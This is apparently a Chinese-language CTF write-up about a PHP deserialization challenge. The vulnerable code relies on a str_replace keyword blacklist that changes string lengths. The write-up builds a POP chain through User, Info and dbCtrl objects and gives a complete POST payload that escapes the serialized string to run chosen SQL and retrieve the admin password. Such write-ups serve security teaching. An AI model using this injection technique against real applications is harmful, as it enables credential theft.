public function update(){ $Info=unserialize($this->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']); //这个功能还没有写完 先占坑 }
先反序列化getNewinfo()返回值 调用updatehelper
1 2 3 4 5 6
getNewinfo : public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
传入age和nickname然后返回safe处理后的**Info()**序列化结果
1 2 3 4
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->sql; } }
Info类的__call方法很明显要我们调用dbCtrl的login()方法,让我们任意执行SQL语句。得到admin用户的SQL语句不难写select password,username from user where username=?,因为login()返回的是idResult,第一个结果。Info的__call如何别触发?
class User { public $id; public $age = null; public $nickname = null; }
class Info { public $age; public $nickname; public $CtrlCase;
public function __construct($age, $nickname) { $this->age = $age; $this->nickname = $nickname; }
}
Class UpdateHelper { public $id; public $newinfo; public $sql;
public function __construct($newInfo, $sql) { $newInfo = unserialize($newInfo); $upDate = new dbCtrl(); }
}
class dbCtrl { public $hostname = "127.0.0.1"; public $dbuser = "root"; public $dbpass = "root"; public $database = "test"; public $name = "admin"; public $password; public $mysqli; public $token = "admin";
}
$db = new dbCtrl(); $user = new User(); $info = new Info("23333", "Tiaonmmn"); #echo serialize($info); $updatehelper = new UpdateHelper("1", "");
$info->CtrlCase = $db; $user->nickname = $info; $user->age = "select password,id from username where username=?"; $updatehelper->sql = $user; #echo serialize($updatehelper); $realinfo = new Info("233333", "Tiaonmmn"); $realinfo->CtrlCase = $updatehelper; echo serialize($realinfo);
post: age=1&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:5:"23333";s:8:"nickname";s:8:"Tiaonmmn";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}